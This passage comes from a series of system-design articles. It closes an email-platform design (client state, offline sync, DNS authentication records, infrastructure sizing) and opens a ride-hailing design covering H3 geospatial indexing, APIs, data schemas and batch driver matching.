  isLoading: boolean

  // Optimistic updates
  pendingUpdates: Map<string, OptimisticUpdate>
}

// Update a single message without re-fetching list
function updateMessage(state: MailboxState, messageId: string, updates: Partial<MessageSummary>) {
  const message = state.messages[messageId]
  if (!message) return state

  return {
    ...state,
    messages: {
      ...state.messages,
      [messageId]: { ...message, ...updates },
    },
  }
}
```

**Why normalized:**

- Marking read: Update 1 object, not scan array
- Thread operations: Update thread aggregate, individual messages unchanged
- Labels: Add/remove from set, no array reordering

### Virtualized Message List

For mailboxes with thousands of messages:

```typescript collapse={1-10}
interface VirtualListConfig {
  containerHeight: number
  itemHeight: number // Estimated row height
  overscan: number // Extra rows above/below viewport
}

class VirtualMailboxList {
  private readonly PAGE_SIZE = 50

  calculateVisibleRange(scrollTop: number, config: VirtualListConfig): Range {
    const startIndex = Math.max(0, Math.floor(scrollTop / config.itemHeight) - config.overscan)

    const visibleCount = Math.ceil(config.containerHeight / config.itemHeight)
    const endIndex = startIndex + visibleCount + config.overscan * 2

    return { start: startIndex, end: endIndex }
  }

  // Fetch more when approaching end
  async onScroll(scrollTop: number, scrollHeight: number): Promise<void> {
    const remainingScroll = scrollHeight - scrollTop - window.innerHeight

    if (remainingScroll < 500 && this.state.nextPageToken && !this.state.isLoading) {
      await this.fetchNextPage()
    }
  }
}
```

### Compose Form with Autosave

```typescript collapse={1-15}
interface DraftState {
  draftId: string | null
  to: EmailAddress[]
  cc: EmailAddress[]
  bcc: EmailAddress[]
  subject: string
  body: string
  attachments: AttachmentUpload[]
  replyToMessageId: string | null
  lastSavedAt: Date | null
  isDirty: boolean
}

class ComposeController {
  private autosaveTimer: NodeJS.Timeout | null = null
  private readonly AUTOSAVE_DELAY = 2000 // 2 seconds after last change

  onFieldChange(field: keyof DraftState, value: any): void {
    this.state = { ...this.state, [field]: value, isDirty: true }

    // Debounce autosave
    if (this.autosaveTimer) {
      clearTimeout(this.autosaveTimer)
    }

    this.autosaveTimer = setTimeout(() => this.saveDraft(), this.AUTOSAVE_DELAY)
  }

  async saveDraft(): Promise<void> {
    if (!this.state.isDirty) return

    const response = await this.api.saveDraft({
      draftId: this.state.draftId,
      to: this.state.to,
      subject: this.state.subject,
      body: this.state.body,
      // ...
    })

    this.state = {
      ...this.state,
      draftId: response.draftId,
      lastSavedAt: new Date(),
      isDirty: false,
    }
  }

  async send(): Promise<void> {
    // Optimistic: show "Sending..." immediately
    this.ui.showSendingIndicator()

    try {
      await this.api.sendMessage({
        draftId: this.state.draftId,
        to: this.state.to,
        // ...
      })

      // Success: close compose, show "Sent" with undo option
      this.ui.showSentWithUndo(5000) // 5 second undo window
      this.close()
    } catch (error) {
      this.ui.showError("Failed to send. Message saved as draft.")
    }
  }
}
```

### Offline Support

```typescript collapse={1-15}
class OfflineMailbox {
  private db: IDBDatabase // IndexedDB for local storage

  async cacheMessages(messages: MessageSummary[]): Promise<void> {
    const tx = this.db.transaction("messages", "readwrite")
    for (const msg of messages) {
      await tx.objectStore("messages").put(msg)
    }
  }

  async getMessagesOffline(labelId: string): Promise<MessageSummary[]> {
    const tx = this.db.transaction("messages", "readonly")
    const index = tx.objectStore("messages").index("by-label")
    return index.getAll(labelId)
  }

  // Queue actions when offline
  async queueAction(action: OfflineAction): Promise<void> {
    const tx = this.db.transaction("pendingActions", "readwrite")
    await tx.objectStore("pendingActions").add({
      id: crypto.randomUUID(),
      action,
      createdAt: new Date(),
    })
  }

  // Sync when back online
  async syncPendingActions(): Promise<void> {
    const tx = this.db.transaction("pendingActions", "readwrite")
    const actions = await tx.objectStore("pendingActions").getAll()

    for (const { id, action } of actions) {
      try {
        await this.executeAction(action)
        await tx.objectStore("pendingActions").delete(id)
      } catch (error) {
        // Keep in queue for retry
        console.error("Sync failed:", action, error)
      }
    }
  }
}
```

## Infrastructure

### Cloud-Agnostic Components

| Component     | Purpose                          | Options                         |
| ------------- | -------------------------------- | ------------------------------- |
| MTA           | Inbound/outbound SMTP            | Postfix, Haraka, custom         |
| Message queue | Delivery queue, async processing | Kafka, Pulsar, RabbitMQ         |
| Message store | Email body and metadata          | Cassandra, ScyllaDB, DynamoDB   |
| Search        | Full-text indexing               | Elasticsearch, OpenSearch, Solr |
| Object store  | Attachments                      | MinIO, Ceph, S3-compatible      |
| Relational DB | User, label metadata             | PostgreSQL, CockroachDB         |
| Cache         | Session, rate limiting           | Redis, KeyDB, Dragonfly         |

### AWS Reference Architecture

![Diagram](./diagram-7.svg)

**Service configurations:**

| Service           | Configuration                 | Rationale              |
| ----------------- | ----------------------------- | ---------------------- |
| MX Pods (Fargate) | 2 vCPU, 4GB, autoscale 10-100 | SMTP is CPU-bound      |
| Spam Filter       | 4 vCPU, 8GB, GPU optional     | ML inference           |
| API Gateway       | 2 vCPU, 4GB                   | Stateless REST/GraphQL |
| IMAP Pods         | 4 vCPU, 8GB                   | Connection state       |
| Delivery Workers  | 2 vCPU, 4GB, Spot             | Async, retry-tolerant  |
| Keyspaces         | On-demand                     | Managed Cassandra      |
| OpenSearch        | r6g.xlarge × 3                | Search workload        |
| ElastiCache Redis | r6g.large cluster             | Session, rate limits   |
| MSK               | kafka.m5.large × 3            | Message queue          |

### Email-Specific Infrastructure

**MX record configuration:**

```
example.com.    IN MX   10 mx1.example.com.
example.com.    IN MX   10 mx2.example.com.
example.com.    IN MX   20 mx-backup.example.com.
```

**DNS records for authentication:**

```
; SPF
example.com.    IN TXT  "v=spf1 ip4:203.0.113.0/24 include:_spf.google.com -all"

; DKIM
selector1._domainkey.example.com.    IN TXT  "v=DKIM1; k=rsa; p=MIIBIjANBg..."

; DMARC
_dmarc.example.com.    IN TXT  "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"
```

### Scaling Considerations

**Inbound throughput:**

- Single MTA pod: ~10K messages/minute (connection limited)
- 700K messages/second peak → 4,200 MX pods minimum
- With headroom (2x): ~10,000 MX pods

**Outbound throughput:**

- Per destination rate limits (Gmail: 500/day per IP for new IPs)
- IP reputation warmup: Start 50/day, increase 2x daily
- Dedicated IPs per sending reputation tier

**Search index lag:**

- Target: < 30 seconds from receive to searchable
- Indexer throughput: ~5K documents/second per node
- 700K/second peak → 140 indexer pods

**Storage growth:**

- 3.5PB/day raw (messages + attachments)
- With compression (3:1): ~1.2PB/day
- 15-year retention: ~6.5EB
- Tiered storage: Hot (SSD, 30 days) → Warm (HDD, 1 year) → Cold (S3 Glacier)

## Conclusion

This design provides a scalable email system with:

1. **Reliable delivery** via store-and-forward queuing with exponential backoff retries
2. **Strong authentication** through SPF + DKIM + DMARC defense in depth
3. **Effective spam filtering** using ML classification with heuristic rules
4. **Fast retrieval** via time-series optimized storage and full-text search indexing
5. **Conversation threading** using RFC 5322 headers with subject/participant fallback

**Key architectural decisions:**

- Separate inbound/outbound paths allow independent scaling and different reliability requirements
- Cassandra for messages provides time-series access patterns and horizontal scaling
- Elasticsearch enables sub-second full-text search across billions of messages
- Kafka queues decouple receipt from processing, enabling async spam filtering and indexing

**Known limitations:**

- Search index lag (up to 30 seconds) means very recent messages may not appear in search
- Spam model requires continuous training on user feedback to adapt to new attacks
- Threading heuristics can fail for long-running threads with subject changes
- Large attachments (>25MB) require chunked upload/download handling

**Future enhancements:**

- AI-powered smart compose and reply suggestions
- Proactive phishing detection using link analysis
- Federated identity for cross-organization encryption
- Real-time collaborative inbox for team email

## Appendix

### Prerequisites

- SMTP protocol fundamentals (commands, response codes, envelope vs. headers)
- DNS record types (MX, TXT, CNAME)
- Distributed systems concepts (eventual consistency, partitioning)
- Full-text search fundamentals (inverted indexes, tokenization)

### Terminology

| Term            | Definition                                                                        |
| --------------- | --------------------------------------------------------------------------------- |
| **MTA**         | Mail Transfer Agent; server that routes email between domains (Postfix, Sendmail) |
| **MUA**         | Mail User Agent; email client (Outlook, Thunderbird, web interface)               |
| **MX record**   | DNS record specifying mail servers for a domain                                   |
| **Envelope**    | SMTP-level sender/recipient (MAIL FROM, RCPT TO); distinct from message headers   |
| **SPF**         | Sender Policy Framework; DNS-based authorization of sending IPs                   |
| **DKIM**        | DomainKeys Identified Mail; cryptographic message signing                         |
| **DMARC**       | Domain-based Message Authentication, Reporting, and Conformance; policy layer     |
| **Bounce**      | Non-delivery report (NDR); message informing sender of delivery failure           |
| **Backscatter** | Bounces sent to forged sender addresses; a form of spam                           |

### Summary

- Email systems separate **inbound** (MX servers, spam filtering, storage) from **outbound** (submission, DKIM signing, delivery queue) flows
- **Authentication trifecta** (SPF + DKIM + DMARC) prevents spoofing: SPF checks sending IP, DKIM verifies content integrity, DMARC enforces policy
- **Naive Bayes** achieves 99%+ spam detection by computing P(spam|tokens) with incremental training from user feedback
- **Cassandra** provides time-series optimized message storage with partition-per-mailbox for efficient folder queries
- **Elasticsearch** enables sub-500ms full-text search across years of messages with field-specific filtering
- **Threading** uses RFC 5322 References/In-Reply-To headers with subject and participant matching as fallback

### References

**Protocol Specifications:**

- [RFC 5321 - Simple Mail Transfer Protocol](https://datatracker.ietf.org/doc/html/rfc5321) - SMTP specification
- [RFC 3501 - IMAP4rev1](https://datatracker.ietf.org/doc/html/rfc3501) - IMAP specification
- [RFC 5322 - Internet Message Format](https://datatracker.ietf.org/doc/html/rfc5322) - Email message format
- [RFC 2045-2049 - MIME](https://datatracker.ietf.org/doc/html/rfc2045) - Multipurpose Internet Mail Extensions

**Authentication Standards:**

- [RFC 7208 - Sender Policy Framework (SPF)](https://datatracker.ietf.org/doc/html/rfc7208)
- [RFC 6376 - DomainKeys Identified Mail (DKIM)](https://datatracker.ietf.org/doc/html/rfc6376)
- [RFC 7489 - DMARC](https://datatracker.ietf.org/doc/html/rfc7489)
- [NIST Technical Note 1945 - Email Authentication Mechanisms](https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.1945.pdf)

**Spam Filtering:**

- [A Plan for Spam - Paul Graham](http://www.paulgraham.com/spam.html) - Foundational Bayesian spam filtering paper
- [Machine Learning for Email Spam Filtering (PMC)](https://pmc.ncbi.nlm.nih.gov/articles/PMC6562150/) - ML approaches survey

**Industry Implementations:**

- [Gmail Architecture Overview](https://www.dhiwise.com/post/understanding-gmail-architecture-a-comprehensive-guide)
- [Fastmail Storage Architecture](https://www.fastmail.help/hc/en-us/articles/1500000278242-The-Fastmail-storage-architecture)
- [Cloudflare - DMARC, DKIM, SPF Explained](https://www.cloudflare.com/learning/email-security/dmarc-dkim-spf/)

---

## Design Uber-Style Ride Hailing

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-uber-ride-hailing
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for a ride-hailing platform handling real-time driver-rider matching, geospatial indexing at scale, dynamic pricing, and sub-second location tracking. This design addresses the core challenges of matching millions of riders with drivers in real-time while optimizing for ETAs, driver utilization, and surge pricing across global markets.

# Design Uber-Style Ride Hailing

A comprehensive system design for a ride-hailing platform handling real-time driver-rider matching, geospatial indexing at scale, dynamic pricing, and sub-second location tracking. This design addresses the core challenges of matching millions of riders with drivers in real-time while optimizing for ETAs, driver utilization, and surge pricing across global markets.

<figure>

![High-level architecture: Rider and driver apps connect through a WebSocket gateway for real-time updates. The Matching Service (DISCO) uses H3-indexed location data and ML-powered ETA predictions to optimize driver dispatch.](./high-level-architecture-rider-and-driver-apps-connect-through-a-websocket-gatewa.svg)

<figcaption>High-level architecture: Rider and driver apps connect through a WebSocket gateway for real-time updates. The Matching Service (DISCO) uses H3-indexed location data and ML-powered ETA predictions to optimize driver dispatch.</figcaption>
</figure>

## Abstract

Ride-hailing systems solve three interconnected problems: **spatial indexing** (finding nearby drivers efficiently), **dispatch optimization** (matching riders to drivers to minimize wait time globally, not just per-request), and **dynamic pricing** (balancing supply and demand in real-time).

The core spatial index uses **H3 hexagonal cells** rather than geohash or quadtrees. Hexagons provide uniform neighbor distances (all 6 neighbors equidistant), enabling accurate proximity searches without the edge artifacts of square cells. Uber open-sourced H3 for this reason—gradient analysis for surge pricing and demand forecasting becomes trivial when all adjacent cells have equal weight.

**Dispatch is not "find closest driver."** Traffic, bridges, and one-way streets make Euclidean distance meaningless. The Matching Service (DISCO) uses ETA-based assignment with batch optimization: accumulate requests over a short window (100-200ms), build a bipartite graph of riders and available drivers, and solve the assignment problem to minimize total wait time across all requests. This global optimization outperforms greedy per-request matching by 10-20% on wait times.

**Surge pricing uses a hybrid approach**: real-time supply/demand ratios within H3 cells set the base multiplier, while ML models adjust for predicted demand (events, weather, historical patterns). The key design insight is that surge must be spatially granular (different blocks have different multipliers) but temporally smooth (avoid jarring jumps that frustrate users).

## Requirements

### Functional Requirements

| Feature                                  | Priority | Scope        |
| ---------------------------------------- | -------- | ------------ |
| Request ride (pickup, destination)       | Core     | Full         |
| Real-time driver matching                | Core     | Full         |
| Live location tracking (driver → rider)  | Core     | Full         |
| Dynamic/surge pricing                    | Core     | Full         |
| ETA prediction                           | Core     | Full         |
| Driver dispatch and navigation           | Core     | Full         |
| Trip lifecycle (start, complete, cancel) | Core     | Full         |
| Payment processing                       | Core     | Overview     |
| Driver ratings and feedback              | High     | Overview     |
| Ride history and receipts                | High     | Brief        |
| Scheduled rides                          | Medium   | Brief        |
| Ride sharing (UberPool)                  | Medium   | Out of scope |
| Driver earnings and payouts              | Low      | Out of scope |

### Non-Functional Requirements

| Requirement             | Target                                            | Rationale                                     |
| ----------------------- | ------------------------------------------------- | --------------------------------------------- |
| Availability            | 99.99%                                            | Revenue-critical; outage = stranded users     |
| Matching latency        | p99 < 3 seconds                                   | User perception of "instant" match            |
| Location update latency | p99 < 500ms                                       | Real-time tracking accuracy                   |
| ETA accuracy            | ±2 minutes median                                 | User trust in time estimates                  |
| Surge price staleness   | < 30 seconds                                      | Avoid stale pricing on request                |
| Throughput              | 1M+ location updates/sec                          | Global driver fleet scale                     |
| Consistency             | Eventual (< 5s) for location; strong for payments | Location tolerates staleness; payments cannot |

### Scale Estimation

**Users and Drivers:**

- Daily trips: 30M trips/day (Uber 2024)
- Monthly active users: 180M
- Active drivers: 8.8M globally
- Peak concurrent: 3M drivers online, 10M active rider sessions

**Traffic:**

- Location updates: 8.8M drivers × 1 update/4 seconds = 2.2M updates/sec peak
- Ride requests: 30M/day = ~350 RPS average, ~1,500 RPS peak
- ETA queries: Each match queries 10-20 candidate drivers = 15-30K RPS
- Price checks: 10× ride requests (users check before confirming) = 15K RPS peak

**Storage:**

- Trip record: ~5KB (metadata, route, pricing, payment)
- Daily trip storage: 30M × 5KB = 150GB/day
- Location history (hot): 8.8M drivers × 4KB/minute × 60 min = 2TB rolling window
- Yearly growth: ~55TB/year for trips alone

**Message Volume:**

- Kafka: 1 trillion messages/day (Uber published)
- Real-time events: Location, trip state, notifications

## Design Paths

### Path A: Geohash + Greedy Matching

**Best when:**

- Simpler implementation requirements
- Moderate scale (< 100K concurrent drivers)
- Latency constraints relaxed (5+ seconds acceptable)

**Key characteristics:**

- Use geohash strings for spatial indexing (e.g., `9q8yyk` for SF downtown)
- Match each request immediately to the nearest available driver
- Single-request optimization (no batching)

**Trade-offs:**

- ✅ Simple implementation (geohash is well-understood)
- ✅ Lower latency for individual matches
- ✅ Easier to reason about and debug
- ❌ Geohash edge effects (neighbors at different distances)
- ❌ Suboptimal global wait times (greedy isn't globally optimal)
- ❌ Struggles with dense urban areas (many equidistant drivers)

**Real-world example:** Early Uber and Lyft used geohash-based approaches. Worked well at small scale but required rearchitecture as cities densified.

### Path B: H3 + Batch Optimization (Chosen)

**Best when:**

- High driver density in urban areas
- Global optimization matters (minimize total wait time)
- Scale demands efficient spatial queries

**Key characteristics:**

- H3 hexagonal cells for uniform spatial indexing
- Batch requests over 100-200ms windows
- Solve assignment as bipartite matching problem
- ETA-based costs, not distance-based

**Trade-offs:**

- ✅ Uniform neighbor distances (no edge artifacts)
- ✅ 10-20% better wait times via global optimization
- ✅ Natural fit for surge pricing (hexagonal heatmaps)
- ✅ Efficient k-ring queries for nearby cells
- ❌ Higher implementation complexity
- ❌ Slight latency increase from batching (100-200ms)
- ❌ Requires ML for accurate ETA (not just distance)

**Real-world example:** Uber developed and open-sourced H3 specifically for this use case. Their DISCO system uses batch optimization to minimize city-wide wait times.

### Path C: Quadtree + Real-Time Streaming

**Best when:**

- Variable driver density (sparse suburbs, dense cities)
- Need adaptive spatial resolution
- Streaming-first architecture

**Key characteristics:**

- Quadtree adapts cell size to driver density
- Stream processing (Flink/Samza) for continuous matching
- No batching—process events as they arrive

**Trade-offs:**

- ✅ Adaptive resolution (small cells in dense areas)
- ✅ No batching latency
- ✅ Natural fit for streaming architectures
- ❌ Complex rebalancing as density changes
- ❌ Non-uniform neighbor distances (like geohash)
- ❌ Harder to aggregate for surge pricing

### Path Comparison

| Factor                    | Path A (Geohash)   | Path B (H3 Batch)   | Path C (Quadtree) |
| ------------------------- | ------------------ | ------------------- | ----------------- |
| Spatial uniformity        | Low (edge effects) | High                | Medium            |
| Matching optimality       | Greedy (local)     | Global              | Local             |
| Implementation complexity | Low                | High                | Medium            |
| Latency                   | Lowest             | +100-200ms          | Low               |
| Scale                     | Moderate           | High                | High              |
| Best for                  | MVP, low-density   | Dense urban, global | Variable density  |

### This Article's Focus

This article implements **Path B (H3 + Batch Optimization)** because Uber's published architecture demonstrates this approach at scale. The 10-20% improvement in wait times from global optimization justifies the added complexity for a revenue-critical system.

## High-Level Design

### Service Architecture

#### Ride Service

Manages the trip lifecycle from request to completion:

- Create ride request (validate pickup/destination, check surge)
- Track trip state machine: REQUESTED → MATCHED → DRIVER_ARRIVING → IN_PROGRESS → COMPLETED
- Handle cancellations (with appropriate fees/policies)
- Store trip records for history and analytics

#### Matching Service (DISCO)

The core dispatch engine that matches riders to drivers:

- Receive ride requests from Ride Service
- Query Location Service for nearby available drivers
- Query Routing Service for ETA from each candidate to pickup
- Build bipartite graph: riders as left vertices, drivers as right vertices
- Edge weights = ETA (lower is better)
- Solve assignment problem to minimize total ETA across all pending requests
- Dispatch selected driver, update driver state to DISPATCHED

#### Location Service

Tracks real-time driver positions at million-message-per-second scale:

- Ingest GPS updates from Driver App (every 4-5 seconds)
- Store current position in Redis with H3 index
- Maintain hot window of recent positions for trajectory
- Publish location changes to Kafka for other services
- Support spatial queries: "drivers within k-rings of H3 cell"

#### Pricing Service

Calculates fares including dynamic surge:

- Base fare calculation (distance, time, vehicle type)
- Surge multiplier lookup (per H3 cell, refreshed every 5-10 minutes)
- Upfront pricing (show fare before ride request)
- Promo code and discount application
- Final fare calculation with actuals (if route differs)

#### Routing & ETA Service

Provides navigation and time estimates:

- Road network graph (OpenStreetMap or licensed)
- Real-time traffic integration
- ETA prediction using DeepETA model (hybrid physics + ML)
- Turn-by-turn navigation for Driver App
- Route optimization for UberPool (not in scope)

#### Payment Service

Handles financial transactions:

- Tokenized payment methods (no raw card numbers stored)
- Charge on trip completion
- Split payments (multiple riders)
- Driver payout aggregation
- Fraud detection integration

### Data Flow: Requesting a Ride

![Diagram](./diagram-1.svg)

### Data Flow: Real-Time Location Tracking

![Diagram](./diagram-2.svg)

## API Design

### Ride Request

**Endpoint:** `POST /api/v1/rides`

```json collapse={1-3, 25-35}
// Headers
Authorization: Bearer {access_token}
Content-Type: application/json

// Request body
{
  "pickup": {
    "latitude": 37.7749,
    "longitude": -122.4194,
    "address": "123 Market St, San Francisco, CA"
  },
  "destination": {
    "latitude": 37.7899,
    "longitude": -122.4014,
    "address": "456 Mission St, San Francisco, CA"
  },
  "vehicleType": "UBER_X",
  "paymentMethodId": "pm_abc123",
  "riderCount": 1,
  "scheduledTime": null
}
```

**Response (201 Created):**

```json collapse={1-5, 40-55}
{
  "rideId": "ride_abc123xyz",
  "status": "REQUESTED",
  "pickup": {
    "latitude": 37.7749,
    "longitude": -122.4194,
    "address": "123 Market St, San Francisco, CA"
  },
  "destination": {
    "latitude": 37.7899,
    "longitude": -122.4014,
    "address": "456 Mission St, San Francisco, CA"
  },
  "estimate": {
    "fareAmount": 1850,
    "fareCurrency": "USD",
    "surgeMultiplier": 1.2,
    "distanceMeters": 2100,
    "durationSeconds": 480
  },
  "etaToPickup": null,
  "driver": null,
  "vehicle": null,
  "createdAt": "2024-01-15T14:30:00Z"
}
```

**Error Responses:**

- `400 Bad Request`: Invalid coordinates, unsupported area
- `402 Payment Required`: Payment method declined
- `409 Conflict`: Rider has active ride in progress
- `429 Too Many Requests`: Rate limit exceeded (anti-fraud)
- `503 Service Unavailable`: No drivers in area (with retry-after)

**Rate Limits:** 10 requests/minute per user (prevents spam requests)

### Location Update (Driver)

**Endpoint:** WebSocket `wss://location.uber.com/v1/driver`

```json
// Client → Server (every 4-5 seconds)
{
  "type": "LOCATION_UPDATE",
  "payload": {
    "latitude": 37.7751,
    "longitude": -122.4183,
    "heading": 45,
    "speed": 12.5,
    "accuracy": 5.0,
    "timestamp": 1705329000000
  }
}

// Server → Client (acknowledgment)
{
  "type": "LOCATION_ACK",
  "payload": {
    "received": 1705329000123
  }
}
```

**Design Decision: WebSocket vs HTTP Polling**

Why WebSocket for driver location updates:

- **Bidirectional**: Server can push ride requests instantly
- **Persistent connection**: Amortizes TCP handshake cost across thousands of updates
- **Battery efficiency**: Single connection vs repeated HTTP requests
- **Sub-second latency**: Critical for real-time tracking

### Get Nearby Drivers (for fare estimate screen)

**Endpoint:** `GET /api/v1/drivers/nearby`

**Query Parameters:**

| Parameter      | Type    | Description                             |
| -------------- | ------- | --------------------------------------- |
| `latitude`     | float   | Pickup latitude                         |
| `longitude`    | float   | Pickup longitude                        |
| `vehicleTypes` | string  | Comma-separated (UBER_X,UBER_BLACK)     |
| `radius`       | integer | Search radius in meters (default: 3000) |

**Response:**

```json collapse={1-3, 20-25}
{
  "drivers": [
    {
      "driverId": "driver_xyz",
      "latitude": 37.7755,
      "longitude": -122.418,
      "heading": 90,
      "vehicleType": "UBER_X",
      "etaSeconds": 180
    },
    {
      "driverId": "driver_abc",
      "latitude": 37.774,
      "longitude": -122.42,
      "heading": 270,
      "vehicleType": "UBER_X",
      "etaSeconds": 240
    }
  ],
  "surgeMultiplier": 1.2,
  "surgeExpiresAt": "2024-01-15T14:35:00Z"
}
```

**Design Decision: Why Return Limited Driver Info**

The response includes approximate positions (±100m fuzzy) rather than exact locations:

- **Privacy**: Drivers' real-time positions are sensitive
- **Performance**: Fewer precision bits = better compression
- **Purpose**: Only needed for UI (show cars on map), not for matching

### Surge Pricing

**Endpoint:** `GET /api/v1/surge`

**Query Parameters:**

| Parameter     | Type   | Description     |
| ------------- | ------ | --------------- |
| `latitude`    | float  | Pickup location |
| `longitude`   | float  | Pickup location |
| `vehicleType` | string | Vehicle type    |

**Response:**

```json
{
  "multiplier": 1.5,
  "reason": "HIGH_DEMAND",
  "h3Cell": "892a100d2c3ffff",
  "expiresAt": "2024-01-15T14:40:00Z",
  "demandLevel": "VERY_HIGH",
  "supplyLevel": "LOW"
}
```

**Design Decision: Surge Expiration**

Surge multipliers include an `expiresAt` timestamp. If the rider's request comes after expiration, the client must re-fetch. This prevents:

- Stale high surge (rider sees 2x, actually 1x now—under-charges)
- Stale low surge (rider sees 1x, actually 2x—creates pricing disputes)

## Data Modeling

### Trip Schema (Schemaless)

Uber uses a MySQL-based append-only store called Schemaless for trip data. Each "cell" is immutable; updates create new cells.

**Primary Store:** Schemaless (MySQL-backed)

```sql collapse={1-5}
-- Schemaless stores data as (row_key, column_name, ref_key) tuples
-- row_key: trip_id (UUID)
-- column_name: "base", "driver", "route", "payment", etc.
-- ref_key: version number
-- body: BLOB (protobuf-serialized data)

CREATE TABLE trips (
    added_id BIGINT AUTO_INCREMENT PRIMARY KEY,  -- Total ordering
    row_key BINARY(16) NOT NULL,                  -- trip_id as UUID
    column_name VARCHAR(64) NOT NULL,
    ref_key BIGINT NOT NULL,                      -- Version/timestamp
    body MEDIUMBLOB NOT NULL,
    created_at DATETIME NOT NULL,

    INDEX idx_row_column (row_key, column_name, ref_key DESC)
);
```

**Trip Data Columns:**

| Column Name | Contents                                    | When Written  |
| ----------- | ------------------------------------------- | ------------- |
| `base`      | Pickup, destination, rider_id, vehicle_type | On request    |
| `match`     | driver_id, vehicle_id, match_time, eta      | On match      |
| `route`     | Polyline, distance, duration, waypoints     | On trip start |
| `pricing`   | Base fare, surge, discounts, final amount   | On completion |
| `payment`   | Transaction ID, status, method              | On charge     |
| `rating`    | Rider rating, driver rating, feedback       | Post-trip     |

**Design Decision: Schemaless vs Traditional SQL**

Why Schemaless for trips:

- **Append-only**: No in-place updates simplifies consistency
- **Flexible schema**: Add new columns without migrations
- **Time-travel**: Query any historical version of a trip
- **Sharded by row_key**: Trips for same user co-located

**Sharding:** 4,096 logical shards, hash(trip_id) determines shard.

### Driver Location (Redis)

```bash
# Driver's current location (expires in 30s if no update)
SET driver:{driver_id}:location '{"lat":37.7751,"lng":-122.4183,"h3":"89283082837ffff","heading":45,"speed":12.5,"status":"AVAILABLE","ts":1705329000}'
EXPIRE driver:{driver_id}:location 30

# Geo-indexed by H3 cell (resolution 9 ≈ 100m cells)
# Score = timestamp for LRU-style queries
ZADD drivers:h3:89283082837ffff 1705329000 driver_123
ZADD drivers:h3:89283082837ffff 1705328995 driver_456

# Status index for quick filtering
SADD drivers:status:AVAILABLE driver_123 driver_456
SREM drivers:status:AVAILABLE driver_789
SADD drivers:status:ON_TRIP driver_789
```

**Design Decision: H3 Resolution 9**

Resolution 9 cells are approximately 100m × 100m. This provides:

- Fine enough granularity for urban density
- Coarse enough to avoid millions of cells per city
- Efficient k-ring queries (ring of radius 3 covers ~3km)

### Driver State (Cassandra)

```cql
-- Driver profile and state (high availability)
CREATE TABLE driver_state (
    driver_id UUID,
    city_id INT,
    status TEXT,           -- OFFLINE, AVAILABLE, DISPATCHED, ON_TRIP
    vehicle_id UUID,
    current_trip_id UUID,
    last_location_update TIMESTAMP,
    rating DECIMAL,
    total_trips INT,
    acceptance_rate DECIMAL,
    PRIMARY KEY ((city_id), driver_id)
) WITH CLUSTERING ORDER BY (driver_id ASC);

-- Per-driver time series (write-heavy)
CREATE TABLE driver_locations (
    driver_id UUID,
    day DATE,
    timestamp TIMESTAMP,
    latitude DOUBLE,
    longitude DOUBLE,
    h3_cell TEXT,
    speed DOUBLE,
    heading INT,
    PRIMARY KEY ((driver_id, day), timestamp)
) WITH CLUSTERING ORDER BY (timestamp DESC);
```

**Design Decision: Cassandra for Driver State**

- **Write-heavy workload**: Millions of location updates/second
- **Partition by city**: Co-locates drivers in same market
- **Tunable consistency**: Read at LOCAL_ONE for speed, write at LOCAL_QUORUM for durability
- **Natural time series**: Location history with TTL for retention

### Database Selection Matrix

| Data Type             | Store              | Rationale                                      |
| --------------------- | ------------------ | ---------------------------------------------- |
| Trip records          | Schemaless (MySQL) | Append-only, time-travel, flexible schema      |
| Real-time location    | Redis Cluster      | Sub-ms reads, geo queries, TTL                 |
| Driver profile/state  | Cassandra          | High write throughput, tunable consistency     |
| Surge pricing         | Redis + Kafka      | Low latency reads, event streaming for updates |
| Payment transactions  | PostgreSQL         | ACID for financial data                        |
| Analytics/ML features | HDFS + Hive        | Batch processing, ML training data             |

## Low-Level Design

### H3 Spatial Indexing

H3 is Uber's open-source hexagonal hierarchical spatial index. It divides Earth into hexagonal cells at 16 resolution levels.

#### Why Hexagons?

```
Square grid (geohash):           Hexagonal grid (H3):

+---+---+---+                    / \ / \ / \
| A | B | C |                   |   |   |   |
+---+---+---+    →              | A | B | C |
| D | X | E |                   |   |   |   |
+---+---+---+                    \ / \ / \ /
| F | G | H |                     |   |   |
+---+---+---+                     | D | E |

Distances from X:                 Distances from X:
  - A,C,F,H: √2 (diagonal)          - All 6 neighbors: 1 (uniform!)
  - B,D,E,G: 1 (cardinal)
```

**Key advantage**: Hexagons have 6 equidistant neighbors. This eliminates the diagonal distance problem in square grids, which matters for:

- Surge pricing (adjacent cells should have equal influence)
- Demand forecasting (spatial smoothing)
- Driver proximity (accurate radius queries)

#### H3 Resolution Table

| Resolution | Avg Edge (km) | Avg Area (km²) | Use Case                       |
| ---------- | ------------- | -------------- | ------------------------------ |
| 7          | 1.22          | 5.16           | City districts, regional surge |
| 8          | 0.46          | 0.74           | Neighborhood level             |
| **9**      | **0.17**      | **0.11**       | **Driver indexing (≈100m)**    |
| 10         | 0.066         | 0.015          | Street level                   |

#### H3 Operations

```typescript collapse={1-8, 35-45}
import h3 from "h3-js"

// Convert lat/lng to H3 cell at resolution 9
function locationToH3(lat: number, lng: number): string {
  return h3.latLngToCell(lat, lng, 9)
  // Returns: "89283082837ffff" (64-bit as hex string)
}

// Get all H3 cells within radius (k-ring)
function getCellsInRadius(centerH3: string, radiusKm: number): string[] {
  // k=1 ≈ 300m, k=3 ≈ 1km, k=10 ≈ 3km at resolution 9
  const k = Math.ceil(radiusKm / 0.17) // 170m per cell at res 9
  return h3.gridDisk(centerH3, k)
  // Returns all cells within k "rings" of center
}

// Example: Find drivers within 2km of pickup
function findNearbyDrivers(pickupLat: number, pickupLng: number, radiusKm: number = 2): Promise<Driver[]> {
  const centerCell = locationToH3(pickupLat, pickupLng)
  const searchCells = getCellsInRadius(centerCell, radiusKm)

  // Query Redis for drivers in each cell
  // Using pipelining for efficiency
  const pipeline = redis.pipeline()
  for (const cell of searchCells) {
    pipeline.zrange(`drivers:h3:${cell}`, 0, -1)
  }

  const results = await pipeline.exec()
  const driverIds = new Set(results.flat().filter(Boolean))
  return fetchDriverDetails([...driverIds])
}
```

### Matching Algorithm (DISCO)

DISCO (Dispatch Optimization) matches riders to drivers using batch optimization rather than greedy nearest-driver assignment.

#### Batch Optimization Window

```typescript collapse={1-10, 45-55}
interface RideRequest {
  rideId: string
  pickupH3: string
  pickupLat: number
  pickupLng: number
  requestTime: number
}

interface DriverCandidate {
  driverId: string
  h3Cell: string
